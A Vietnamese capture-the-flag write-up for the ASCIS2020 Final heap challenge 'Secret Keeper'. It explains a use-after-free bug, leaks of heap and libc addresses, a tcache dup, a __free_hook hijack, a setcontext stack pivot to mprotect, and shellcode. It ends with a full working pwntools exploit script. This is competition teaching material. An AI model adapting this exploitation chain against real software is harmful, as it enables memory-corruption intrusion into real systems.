[ASCIS2020 Final] Secret Keeper

Tổng quan

Đây là một heap challenge, với seccomp chỉ cho phép các syscall open, read, write, mprotect, … không cho phép các syscall exec*

0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x0c 0xc000003e  if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x09 0xffffffff  if (A != 0xffffffff) goto 0014
0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000003  if (A == close) goto 0013
0009: 0x15 0x03 0x00 0x0000000a  if (A == mprotect) goto 0013
0010: 0x15 0x02 0x00 0x0000000e  if (A == rt_sigprocmask) goto 0013
0011: 0x15 0x01 0x00 0x00000027  if (A == getpid) goto 0013
0012: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0014: 0x06 0x00 0x00 0x00000000  return KILL

Ban đầu, thực sự là mình khá ngại làm câu này, @midas hỗ trợ mình trong việc RE câu này. Trong lúc thi thì mình phát hiện ra lỗi Use-after-free ở tính năng encode và decode của chương trình

(secret_to_encode->encoder)(secret_to_encode->buf, *&secret_to_encode->size, &dest_buf, &dest_size);
printf("Encode data: %s\n", dest_buf);
// dest_buf trỏ tới cùng buffer với secret_to_encode->buf
free(secret_to_encode->buf);
secret_to_encode->buf = dest_buf;

Khai thác

Dùng lỗi ở trên, mình có thể dễ dàng leak được địa chỉ của heap và libc

create_secret("AAAA\n", 0x10, "BBBBB\n")
encode_secret(1)
list_secret(1)
r.recvuntil("Your secret:\n")
heap = r.recvuntil("00 00").replace(" ", "")
heap = u64(heap.decode('hex')) - 0x2670
log.info("heap: %s" % hex(heap))

create_secret("AAAA\n", 0x600, "BBBBB\n", True)
create_secret("AAAA\n", 0x600, "BBBBB\n", True)
encode_secret(2)
list_secret(2)
r.recvuntil("Your secret:\n")
base_libc = r.recvuntil("00 00").replace(" ", "")
base_libc = u64(base_libc.decode('hex')) - 0x1ebbe0

Do không hiểu rõ tính năng edit nên mình quyết định sử dùng lỗi UAF này để gây ra tcache dup.

create_secret("AAAA\n", 0x100, "BBBBB\n", True)

encode_secret(6)
encode_secret(6)

Libc 2.31 có kiểm tra tcache dup thông qua key trong tcache chunk, tuy nhiên do tính năng encode thay đổi toàn bộ buffer nên overwrite luôn cả key nên mình có thể bypass cái check đó. Dùng tcache dup mình có thể overwrite free_hook từ đó kiểm soát được rip. Tới đây, mình sử dụng gadget này trong libc

gadget = libc + 0x154930
mov     rdx, [rdi+8]
mov     [rsp], rax
call    qword ptr [rdx+0x20]

Do overwrite free_hook nên mình có thể kiểm soát rdi (tham số thứ nhất của hàm free), từ đó mình kiểm soát được rdx và tiếp tục kiểm soát được rip. Trỏ rip tới gadget trong setcontext

base_libc + 0x580DD
mov     rsp, [rdx+0A0h]
mov     rbx, [rdx+80h]
mov     rbp, [rdx+78h]
mov     r12, [rdx+48h]
mov     r13, [rdx+50h]
mov     r14, [rdx+58h]
mov     r15, [rdx+60h]
test    dword ptr fs:48h, 2
jz      loc_581C6

loc_581C6:
mov     rcx, [rdx+0A8h]
push    rcx
mov     rsi, [rdx+70h]
mov     rdi, [rdx+68h]
mov     rcx, [rdx+98h]
mov     r8, [rdx+28h]
mov     r9, [rdx+30h]
mov     rdx, [rdx+88h]
xor     eax, eax
retn

Tới đây, do kiểm soát rdx nên mình có thể kiểm soát rất nhiều thanh ghi khác trong đó có cả rsp rất thuận tiện cho việc ROP. Gọi mprotect để giúp heap có thêm quyền execute sau đó nhảy tới shellcode open read write đã đặt trên heap là mình có được flag.

Full exploit

from pwn import *

def create_secret(name, size, payload, reuse=False):
    r.sendlineafter(">> ", "1")
    if reuse:
        r.sendline("0")
    r.sendafter("Name: ", name)
    r.sendlineafter("size:", str(size))
    r.send(payload)
    r.sendlineafter("3. None\n", "1")

def encode_secret(index):
    r.sendlineafter(">> ", "5")
    r.sendlineafter(">> ", str(index))

def list_secret(index):
    r.sendlineafter(">> ", "3")
    r.sendlineafter(">> ", str(index))

def delete_secret(index):
        r.sendlineafter(">> ", "4")
        r.sendlineafter(">> ", str(index))

if (sys.argv[1] == "local"):
    r = process("./secret_keeper")
else:
    r = remote("35.240.209.133", 1337)

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
free_hook_off = libc.symbols["__free_hook"]
mprotect_off = libc.symbols["mprotect"]

create_secret("AAAA\n", 0x10, "BBBBB\n")
encode_secret(1)
list_secret(1)
r.recvuntil("Your secret:\n")
heap = r.recvuntil("00 00").replace(" ", "")
#print heap
heap = u64(heap.decode('hex')) - 0x2670
log.info("heap: %s" % hex(heap))

#pause()
create_secret("AAAA\n", 0x600, "BBBBB\n", True)
create_secret("AAAA\n", 0x600, "BBBBB\n", True)
encode_secret(2)
list_secret(2)

r.recvuntil("Your secret:\n")
base_libc = r.recvuntil("00 00").replace(" ", "")
base_libc = u64(base_libc.decode('hex')) - 0x1ebbe0
log.info("base_libc: %s" % hex(base_libc))
free_hook = base_libc + free_hook_off
log.info("free_hook: %s" % hex(free_hook))
mprotect = base_libc + mprotect_off

create_secret("TTTT\n", 0x100, "BBBBB\n", True)
create_secret("TTTT\n", 0x100, "BBBBB\n", True)
encode_secret(4)
encode_secret(5)

create_secret("AAAA\n", 0x100, "BBBBB\n", True)

encode_secret(6)
encode_secret(6)

gadget = base_libc + 0x154930
setcontext = base_libc + 0x580DD

create_secret("CCCC\n", 0x100, p64(free_hook) + "\n", True)
payload = "A"*8 + p64(heap+0x1fb0) + "B"*0x10 + p64(setcontext)

payload += "A"*0x40 + p64(heap-0x40) + p64(0xf000)
payload += "A"*0x10 + p64(7) + "A"*0x10 + p64(heap+0x3150) + p64(mprotect)

create_secret("DDDD\n", 0x100, payload + "\n", True)
create_secret("CCCC\n", 0x100, p64(gadget) + "\n", True)

context.arch = "amd64"
shellcode = shellcraft.open("/opt/flag/flag.txt", 0, 0)
shellcode += shellcraft.read("rax", "rsp", 100)
shellcode += shellcraft.write(1, "rsp", 100)
shellcode = asm(shellcode)

payload = p64(heap + 0x3150 + 0x8) + shellcode
create_secret("MMMM\n", 0x100, payload + "\n", True)

#pause()
delete_secret(8)

r.interactive()

Mình thực sự rất vui vì đã giải được câu này trong thời gian cuộc thi.

Cảm ơn anh @Peter vì những heap challenge rất hay, cảm ơn BTC vì một kỳ thi thú vị.

Cảm ơn anh @Biên, writeup của anh về bài ở vòng loại đã giúp em rất nhiều trong quá trình làm bài này.

Pickaxe
Pickaxe
Pwner

Learner. Daydreamer.

Next
Previous